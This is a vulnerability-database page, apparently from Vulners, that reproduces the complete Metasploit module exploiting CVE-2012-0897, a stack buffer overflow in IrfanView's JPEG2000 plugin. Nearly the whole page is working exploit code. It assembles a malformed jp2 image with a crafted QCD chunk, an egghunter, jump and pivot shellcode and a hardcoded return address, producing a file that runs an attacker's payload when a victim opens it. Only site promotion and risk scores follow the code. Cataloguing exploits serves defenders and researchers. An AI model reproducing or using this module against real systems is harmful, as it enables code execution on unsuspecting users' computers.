Lucene search
K

Irfanview JPEG2000 jp2 Stack Buffer Overflow

Irfanview JPEG2000 jp2 Stack Buffer Overflow Vulnerability Exploit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Irfanview JPEG2000 jp2 Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability in
        version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has
        been tested on a specific version of irfanview (v4.3.2), although other
        versions may work also. The vulnerability is triggered via parsing an
        invalid qcd chunk structure and specifying a malformed qcd size and
        data.

        Payload delivery and vulnerability trigger can be executed in multiple
        ways. The user can double click the file, use the file dialog, open via
        the icon and drag/drop the file into Irfanview's window. An egg hunter
        is used for stability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
          'mr_me <steventhomasseeley[at]gmail.com>',    # msf-fu
          'juan vazquez'                                # more improvements
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0897' ],
          [ 'OSVDB', '78333'],
          [ 'BID', '51426' ],
          [ 'URL', 'http://www.greyhathacker.net/?p=525' ],
        ],
      'Platform'          => [ 'win' ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'           =>
        {
          'Space'    => 4000,
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          # push esp; retn [i_view32.exe]
          # http://www.oldapps.com/irfanview.php?old_irfanview=7097
          # http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe
          [ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
        ],
      'DisclosureDate' => '2012-01-16',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
        ])
  end

  # encode our string like unicode except we are not using nulls
  def encode_bytes(raw_bytes)
    encoded_bytes = ""
    0.step(raw_bytes.length-1, 2) { |i|
      encoded_bytes << raw_bytes[i+1]
      encoded_bytes << raw_bytes[i]
    }
    return encoded_bytes
  end

  def exploit
    jp2  = ""
    jp2 << "\x00\x00\x00\x0c"         #
    jp2 << "\x6a\x50\x20\x20"         # [jP  ] <0x6a502020> magic 0xd0a870a,len 12
    jp2 << "\x0d\x0a\x87\x0a"         #
    jp2 << "\x00\x00\x00\x14"         #
    jp2 << "\x66\x74\x79\x70"         #
    jp2 << "\x6a\x70\x32\x20"         #
    jp2 << "\x00\x00\x00\x00"         #         MinorVersion = 0      = [\0\0\0\0]
    jp2 << "\x6a\x70\x32\x20"         #         Compat = 0x6a703220 = [jp2 ]
    jp2 << "\x00\x00\x00\x38"         #
    jp2 << "\x75\x75\x69\x64"         # [uuid] <0x75756964> len 56 data offset 8
    jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags
    jp2 << "\xd5\x11\xb2\xed\x00\x50" #
    jp2 << "\x04\x71\xfd\xdc\xd2\x00" #
    jp2 << "\x00\x00\x40\x01\x00\x00" #
    jp2 << "\x00\x00\x00\x00\x60\x09" #
    jp2 << "\x00\x00\x00\x00\x00\x00" #
    jp2 << "\x00\x00\x00\x00\x00\x00" #
    jp2 << "\x00\x00\x30\x00\x00\x00" #
    jp2 << "\x00\x00\x00\x2d"         #
    jp2 << "\x6a\x70\x32\x68"         # [jp2h] <0x6a703268> len 45 data offset 8
    jp2 << "\x00\x00\x00\x16"         #
    jp2 << "\x69\x68\x64\x72"         # [ihdr] <0x69686472> len 22 data offset 8
    jp2 << "\x00\x00\x00\x0a"         #         ImageHeight = 10
    jp2 << "\x00\x00\x00\x0a"         #         ImageWidth = 10
    jp2 << "\x00\x03"                 #         NumberOfComponents = 3
    jp2 << "\x07"                     #         BitsPerComponent = 7
    jp2 << "\x07"                     #         Compression = 7
    jp2 << "\x01"                     #         Colorspace = 0x1 = unknown
    jp2 << "\x00\x00\x00\x00\x0f"     #
    jp2 << "\x63\x6f\x6c\x72"         # [colr] <0x636f6c72> len 15 data offset 8
    jp2 << "\x01"                     #         Method = 1
    jp2 << "\x00"                     #         Precedence = 0
    jp2 << "\x00"                     #         ColorSpaceAproximation = 0
    jp2 << "\x00\x00\x00"             #         EnumeratedColorSpace = 16 = sRGB
    jp2 << "\x10\x00\x00\x00\x00"     #
    jp2 << "\x6a\x70\x32\x63"         # [jp2c] <0x6a703263> length 0 data offset 8
    jp2 << "\xff\x4f"                 # <0xff4f=JP2C_SOC> Start of codestream
    jp2 << "\xff\x51"                 # <0xff51=JP2C_SIZ> length 47
    jp2 << "\x00\x2f"                 #         47 bytes
    jp2 << "\x00\x00"                 #         Capabilities = 0
    jp2 << "\x00\x00\x00\x0a"         #         GridWidth = 10
    jp2 << "\x00\x00\x00\x0a"         #         GridHeight = 10
    jp2 << "\x00\x00\x00\x00"         #         XImageOffset = 0
    jp2 << "\x00\x00\x00\x00"         #         YImageOffset = 0
    jp2 << "\x00\x00\x00\x0a"         #         TileWidth = 10
    jp2 << "\x00\x00\x00\x0a"         #         TileHeight = 10
    jp2 << "\x00\x00\x00\x00"         #         Xtileoffset = 0
    jp2 << "\x00\x00\x00\x00"         #         Ytileoffset = 0
    jp2 << "\x00\x03"                 #         NumberOfComponents = 3
    jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
    jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
    jp2 << "\x07\x01\x01"             #   Component0Pr=0x7=8 bits un,hsep=1,vsep=1
    jp2 << "\xff\x52"                 # <0xff52=JP2C_COD> length 12
    jp2 << "\x00\x0c"                 #   12 bytes
    jp2 << "\x00"                     #   codingStyle=0=entropy coder w/o partition
    jp2 << "\x00"                     #   ProgressionOrder = 0
    jp2 << "\x00\x05"                 #   NumberOfLayers = 0x5
    jp2 << "\x01"                     #   MultiComponentTransform=0x1=5/3 reversible
    jp2 << "\x05"                     #   DecompLevels = 5
    jp2 << "\x04"                     #   CodeBlockWidthExponent=0x4+2 # cbw ->64
    jp2 << "\x04"                     #   CodeBlockHeightExponent=0x4+2 # cbh ->64
    jp2 << "\x00"                     #   CodeBLockStyle = 0
    jp2 << "\x00"                     #   QMIFBankId = 0

    eggoptions =
    {
      :checksum => false,
      :eggtag => 'pwnd'
    }

    hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
    qcd_data  = ""
    qcd_data << make_nops(10)
    qcd_data << encode_bytes(hunter)
    qcd_data << rand_text_alpha(146)

    jmp_hunter = %q{
      jmp $-0xad
      inc ecx
    }

    # jump to our egghunter
    jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string

    qcd_data << encode_bytes(jmp_hunter)
    qcd_data << rand_text_alpha(196-qcd_data.length)
    qcd_data << encode_bytes([target.ret].pack("V"))

    # align ecx and jmp
    pivot = %q{
      inc ch
      jmp ecx
    }

    pivot  = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string

    qcd_data << encode_bytes(pivot)
    qcd_data << egg

    jp2 << "\xff\x5c"                         # start
    jp2 << "\x00\xf5"                         # arbitrary size to trigger overflow
    jp2 << "\x22"                             # guard
    jp2 << qcd_data                           # malicious code
    jp2 << "\xff\x90"                         # <0xff90=JP2C_SOT>len 10
    jp2 << "\x00\x0a"                         # 10 bytes
    jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
    jp2 << "\xff\x93"                         # <0xff93=JP2C_SOD> Start of data
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
    jp2 << "\x80\x80"
    jp2 << "\xff\xd9"

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file...")

    file_create(jp2)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 26.8
EPSS0.52661
34